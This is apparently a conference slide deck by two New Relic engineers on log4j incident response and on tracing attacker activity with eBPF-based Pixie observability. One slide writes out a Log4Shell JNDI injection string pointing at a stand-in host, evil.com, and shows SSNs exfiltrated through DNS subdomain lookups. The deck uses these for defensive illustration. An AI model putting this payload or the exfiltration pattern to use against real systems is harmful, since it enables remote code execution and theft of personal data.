Triaging Real-time Security Threats with eBPF-powered Observability

Daniel Kim, Senior Developer Relations Engineer
Robert Prast, Senior Application Security Engineer
About Us
Daniel Kim

Senior Developer Advocate, New Relic

- Likes Hotpot
- Likes spicy talks
- Likes spicy tweets
- Follow me on @learnwdaniel
Robert Prast

Senior AppSec Engineer, New Relic

- Likes big mountains
- Likes spicy food
- Likes spicy security incidents
- Bug bounty and CTFs
- Huge nerd about low level implementation
Agenda

- What does Incident Command Look Like At New Relic
- How did we handle critical log4j vulnerabilities
- Limitations with traditional observability
- Cutting edge real time monitoring solutions via eBPF
- Lessons Learned
What does Incident Command look like at New Relic
New Relic Security Team

We specialize in mitigating and remediating complex issues

We are hiring SREs, Security superstars, everyone

bit.ly/nrhiring
What we do?

- We prevent vulnerabilities and provide security education
- Perform threat models, vulnerability research, and security reviews
- We respond (rapidly) to new and emerging threats
- Define standards and policies across the company
What type of incidents do we deal with?

No idea.

No really.
How we make big decisions

- Hierarchical structure to provide clear decision making
- Decisions are informed by data not gut reactions
- Trust but verify!
Our Incident Response

**Understand** - Which of our services were affected

**Fix** - Patch the vulnerability

**Assess** - What was exploited? Was any data lost? What was the impact to the business?
Remote Code Execution

Remote code execution (RCE) attacks allow an attacker to remotely execute malicious code on a computer.

*(Translation: It's kinda the worst thing that could happen)*
Assessing Impact of Log4j

- What could an attacker theoretically do?
- How widespread was the incident?
- Where do you begin looking and gathering data?
- How do we demonstrate that services are unaffected?
Limitations with traditional observability
Agents gave us JAR & JVM information and if..then..that observability - you can mitigate parts of log4j by adding a specific jvm argument
Rigid Data Collection

Traditional APM tools offer limited context in your data. If your APM instrumentation is not able to get the data you need you are blind. You can’t go randomly change your source code.

“You get what you get, don’t be upset” - but I am upset
Static and Predictable o11y

Attackers can figure out exactly what data you are collecting and what data you don’t have access to to tailor their attack.
Determining Source of Truth

Bad guys

Bad Computer

Application

Kernel

You
Scary Security Scenario

Super Secure Server

$\{jndi:ldap://evil.com/hacks\}$

HTTP

evil.com/hacks

LDAP

return malicious code

LDAP

Evil.com Server

Code Execution
- pop shell
- collect SSN
- send SSN stealthily
- hide traces

DNS

ssn-123-456-7890.evil.com

ssn-987-654-3210.evil.com

ssn-678-901-2345.evil.com
KERNEL NEVER LIES

Bad guys

Application

Kernel

Bad Computer

You
Pixie is an observability platform for developers
Observing the many layers of the system
Extended Berkeley Packet Filter (eBPF) is a kernel technology (starting in Linux 4.x) that allows programs to run without having to change the kernel source code or adding additional modules.
Where to Trace the Data?

Many options in the software stack:

**Ebpf** allows you to trace data wherever you need.
Figuring out if an attacker did bad stuff with Pixie

- DNS (px/dns_data)
- Tracing HTTP calls (px/http_data)
- Flamegraph (px/perf_flamegraph)
- Net Flow Graph (px/net_flow_graph)
- Pods (px/pods)
- mysql (px/mysql_stats)
Figuring out if an attacker did bad stuff with Pixie

DNS (px/dns_data)

Tracing HTTP calls (px/http_data)

Flamegraph (px/perf_flamegraph)

Net Flow Graph (px/net_flow_graph)

Pods (px/pods)

mysql (px/mysql_stats)
Figuring out if an attacker did bad stuff with Pixie

DNS (px/dns_data)

Tracing HTTP calls (px/http_data)

Flamegraph (px/perf_flamegraph)

Net Flow Graph (px/net_flow_graph)

Processes (px/pods)

SQL (px/mysql_stats)
Figuring out if an attacker did bad stuff with Pixie

DNS (px/dns_data)
Tracing HTTP calls (px/http_data)
Flamegraph (px/perf_flamegraph)
Net Flow Graph (px/net_flow_graph)
Processes (px/pods)
SQL (px/mysql_stats)
Figuring out if an attacker did bad stuff with Pixie

DNS (px/dns_data)
Tracing HTTP calls (px/http_data)
Flamegraph (px/perf_flamegraph)
Net Flow Graph (px/net_flow_graph)
Processes (px/pods)
SQL (px/mysql_stats)
Figuring out if an attacker did bad stuff with Pixie

DNS (px/dns_data)
Tracing HTTP calls (px/http_data)
Flamegraph (px/perf_flamegraph)
Net Flow Graph (px/net_flow_graph)
Processes (px/pods)
SQL (px/mysql_stats)
Lessons learned
Traditional + Dynamic Observability

- Traditional
  - shows you what was and is currently vulnerable
  - allows you to quickly assess where to focus efforts to mitigate a vulnerability

- Pixie
  - can tell you how that vulnerability was exploited
  - gives indication as to the business impact of an incident
Paradigm Shift for Security

- Pixie takes the assumption out of tracing an attacker's moves
- Scriptable and flexible enough to adapt to a wide variety of threats
- Have continuous monitoring of incoming attacks that are both successful and unsuccessful
- Can give clear risk assessments to business leaders
Faster MTTR

- Security & reliability incidents don't happen on your schedule
- You need the tools to allow you to quickly get a grasp of the situation
- But also have enough flexibility to drive down the minute details of what's happening
- Speed is the name of the game, but shouldn't be at the expense of thoroughness
Thank you for coming to our talk.

If you thought we were cool come to the New Relic booth for swag and good conversation!

dkim@newrelic.com
rprast@newrelic.com